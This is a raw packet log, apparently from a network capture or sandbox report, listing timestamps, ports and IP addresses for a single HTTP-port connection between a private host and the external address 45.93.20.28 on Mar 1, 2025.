Mar 1, 2025 16:02:23.066212893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066224098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066245079 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066263914 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066307068 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066318989 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066332102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066349030 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066351891 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066366911 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066373110 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066380024 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066392899 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066396952 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066437006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066463947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066572905 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066586018 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066596985 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066615105 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066618919 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066632032 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066636086 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066646099 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066658020 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066678047 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066694975 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066765070 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066776991 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066788912 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066807985 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066833019 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102294922 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102317095 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102327108 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102415085 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102442026 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102453947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102474928 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102485895 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102499008 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102510929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102586031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102586031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102586031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102586031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102644920 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102657080 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102677107 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102682114 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102689028 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102700949 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102706909 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102726936 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102746964 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102755070 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102794886 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102799892 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102832079 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102834940 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102844000 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102855921 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.102869987 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.102890968 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103040934 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103051901 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103065014 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103076935 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103107929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103108883 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103121042 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103132963 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103142977 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103144884 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103172064 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103194952 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103209019 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103247881 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103255033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103267908 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103292942 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103307009 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103339911 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103349924 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103379965 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103382111 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103394032 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103418112 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103445053 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103503942 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103516102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103528023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103538036 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103543997 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103559017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103585005 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103662968 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103674889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103686094 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103697062 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103701115 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103724957 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103765011 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103882074 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103893995 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103905916 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103918076 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103919029 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.103945017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103962898 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.103995085 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104007006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104017973 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104028940 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104034901 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104054928 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104078054 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104120016 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104130030 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104135036 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104146957 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104160070 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104190111 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104296923 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104307890 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104331017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104342937 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104353905 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104356050 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104367018 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104378939 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104378939 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104393005 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104412079 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104439974 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104568958 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104581118 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104590893 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104603052 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104609013 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104615927 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.104625940 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.104654074 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156191111 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156214952 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156228065 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156326056 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156336069 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156349897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156363010 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156374931 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156383991 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156416893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156447887 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156460047 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156471014 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156493902 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156507969 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156537056 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156548977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156559944 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156583071 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156606913 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156670094 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156681061 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156722069 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156730890 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156734943 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156744957 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156774998 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156884909 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156900883 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156910896 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156930923 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156970024 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156975985 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156981945 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.156982899 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.156989098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157005072 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157020092 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157027960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157049894 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157118082 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157157898 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157183886 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157196045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157231092 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157346964 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157350063 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157352924 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157366037 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157426119 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157505035 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157516956 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157529116 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157541037 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157547951 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157557011 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157569885 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157588005 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157629013 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157670975 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157742977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157754898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157767057 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157778978 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157789946 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157789946 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157804012 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157819033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157825947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157845020 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157870054 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.157974958 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157988071 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.157999992 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.158047915 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.158047915 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193708897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193722010 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193732977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193746090 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193783045 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193788052 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193799973 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193830967 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193841934 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193842888 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193854094 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193872929 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193887949 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193891048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193928003 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.193949938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193963051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.193989992 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194046974 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194058895 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194070101 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194082022 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194088936 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194123030 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194168091 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194180012 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194209099 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194232941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194236040 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194247007 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194258928 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194271088 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194271088 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194293976 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194325924 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194449902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194461107 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194473028 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194484949 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194487095 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194498062 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194506884 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194514036 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194536924 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194555044 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194595098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194634914 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194638968 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194652081 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194674015 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194694996 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194755077 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194766045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194777012 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194789886 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194792032 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194813013 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194833994 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194924116 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194935083 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194947004 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194960117 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194962025 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194972038 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194979906 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.194983959 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.194996119 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195008039 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195029020 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195125103 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195168018 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195168018 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195180893 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195207119 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195287943 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195297956 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195310116 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195310116 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195327044 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195327044 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195341110 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195347071 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195373058 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195499897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195509911 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195537090 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195538044 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195550919 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195563078 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195565939 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195575953 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195585966 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195725918 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195739031 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195749044 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195755005 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195768118 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195777893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195780993 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195792913 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195799112 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195806980 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195817947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195846081 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.195930958 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195941925 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195955992 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195966959 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.195985079 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.196001053 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247347116 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247370005 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247380972 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247400045 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247425079 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247436047 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247437000 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247477055 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.247540951 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247554064 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.247565031 CET	80	49710	45.93.20.28	192.168.2.6
